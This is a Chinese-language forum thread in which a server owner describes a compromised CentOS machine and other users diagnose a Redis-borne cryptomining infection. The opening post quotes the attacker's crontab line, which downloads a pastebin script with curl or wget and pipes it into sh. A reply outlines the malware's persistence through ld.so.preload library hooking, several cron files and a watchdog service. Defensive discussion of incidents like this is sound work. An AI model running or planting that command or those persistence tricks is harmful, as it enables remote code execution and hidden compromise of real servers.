Linux 被入侵了该怎么整,入侵者摆明了不怕你知道

2019-02-21 23:26:20 +08:00
 abcbuzhiming
今天一觉起来,被报告说有台 CentOS7.5 速度变的很卡。上去一看,没发现 CPU,内存占用有什么很异常的地方,随手敲 netstat -ntlp 准备看看端口占用是不是由异常,结果出现提示:-bash: /usr/bin/netstat: No such file or directory。啊?什么鬼。再一检查 /usr/bin/netstat 文件不存在,我还以为是被不小心删掉了,不管,yum reinstall net-tools 重装网络套件,结果这一装就露出马脚了,/usr/bin/netstat 文件在刚装好的时候是可以用的,几分钟之内,就不翼而飞了,反复几次后,我就明白有什么程序把它给自动删掉了。随后进一步检查发现,
crontab -l 查定时任务发现这样一行代码:绝对不是我设置的
*/15 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh
打开这个网址发现得到的是一串明显被加密过的字符串,无法进一步排查。删除这个信息,几分钟内会被重新添加。

现在,用 netstat -ntlp 查不出有异常端口,但是我个人怀疑 netstat 很可能已被某种手段屏蔽,证据就是它看不到占用 80 端口的 Nginx (我确定 Nginx 仍然在工作)的 PID(显示为 - ),lsof -i:80 同样失效,我猜测黑客(木马)是打算使用 80 端口的,但是 80 端口跑着 Nginx 导致没成功。机器上的 /usr/bin/netstat 每隔几分钟就被删除,计划任务里始终有那条自动执行请求,我删掉等一会就会自动添加。ps -ef 查不出有异常进程,CPU 和内存均无特别异常,就是系统响应速度慢。我该咋办,除了备份数据重装系统没办法了吗?头一次这么嚣张的 Linux 入侵
18503 次点击
所在节点    Linux
106 条回复
linnil
2019-02-22 11:02:59 +08:00
## 来源
大部分来源于 redis,这里也只说明 redis

### redis
在 redis 以 root 运行,开启公网访问,没有禁用 /重命名 confing 命令,且使用系统定时任务服务的情况下,可实现入侵。当局域网内有一台机被沦陷之后,且该机器登录过且无需密码能登录局域网内服务器,将进行扫描入侵。

## 脚本流程
该脚本将先清理掉服务器可能已经被挖矿的其他程序,然后下载自己的看门狗程序,设置并覆盖加载动态链接库:
/etc/ld.so.preload
/usr/local/lib/libioset.so

写入定时任务,文件有:
1. /var/spool/cron/root
2. /etc/cron.d/root
3. /var/spool/cron/crontabs/root

常见 watchdogs 自启动服务:
/etc/init.d/watchdogs

## 特别说明 - 链接库
链接库会覆盖某些函数,当运行一些命令时会先执行作者写的函数,所以在使用 cd,vi 等命令时会发现定时任务又回来了,这是因为这些命令会调用该链接库所致。并不是有其他程序监控并修改文件所致。

## 建议清理方案
设置 redis
停掉定时任务
清理并刷新动态链接库
清理并重建定时任务
删除自启动
启动定时任务

## 不足
由于时间与能力的关系,分析可能不完整,欢迎大家提出意见。
@17612729987
@Acoffice
aniua
2019-02-22 11:04:53 +08:00
低级漏洞。。。暴露在公网的服务都得注意下权限控制啊,Redis 完全没必要在公网上跑。
firebroo
2019-02-22 11:06:56 +08:00
redis 未授权访问可以 get Shell 的
chennqqi
2019-02-22 11:11:25 +08:00
1 楼正解
viger
2019-02-22 11:46:52 +08:00
前天一台装了 jenkins 的机器不幸中招。
攻击者利用的是 jenkins 的一个插件漏洞,还好运行 jenkins 的账户没什么权限,删掉定时和木马程序,升级 jenkins 就好了。
一步步查入侵其实蛮有意思。
linnil
2019-02-22 11:54:37 +08:00
最新消息,libioset 貌似升级了,
将 libioset。so 文件破坏,系统重启,清空能用。主要是那个动态链接库搞事情。
iccfish
2019-02-22 12:19:48 +08:00
顺手对涉及到的四个 pastebin 内容 report abuse。
ice2016
2019-02-22 12:41:07 +08:00
最低权限原则,DB,CACHE 等等不能直接开在外网
realpg
2019-02-22 12:42:13 +08:00
发生这种事儿 99%是 CentOS/RHEL
infra
2019-02-22 12:52:38 +08:00
用 Debian 吧,apt install fail2ban 挡住 90+% 的攻击
tomychen
2019-02-22 13:03:31 +08:00
先把域名 ban 掉,再分析不就方便了?
xiaomudou
2019-02-22 13:19:56 +08:00
redis 的锅
xiaomudou
2019-02-22 13:28:59 +08:00
@realpg why?
defunct9
2019-02-22 13:31:24 +08:00
@Removable 吾一直都在啊啊啊啊啊啊啊
realpg
2019-02-22 13:36:18 +08:00
@xiaomudou
因为 ubuntu 啥的直接从 apt 安装的 deb 包,数据库类全部默认监听 127.0.0.1
你想面对 0.0.0.0 监听,手动改去

redhat 系的 rpm 包,yum 安装的,还是你网上找的别人打包的 rpm,全部都是监听 0.0.0.0 的
对于 redis 等几种 root 权限运行且能备份恢复操作文件系统的,这就要了亲命了

当然,还有广泛流传的 redhat/centos 到手先关闭 selinux 大法,帮你阻止了最后的一线安全机会
frylkrttj
2019-02-22 13:42:10 +08:00
@infra 还有 10% 用什么挡住
infra
2019-02-22 13:45:57 +08:00
@frylkrttj 运气
blueskea
2019-02-22 14:00:21 +08:00
也中招了,top 看不出 CPU 占用,监控软件一看 CPU 满的,查了下,通过 redis 进来的
fooying
2019-02-22 14:01:05 +08:00
tankren
2019-02-22 14:30:11 +08:00
防火墙的必要性,IP 白名单

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/537457

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX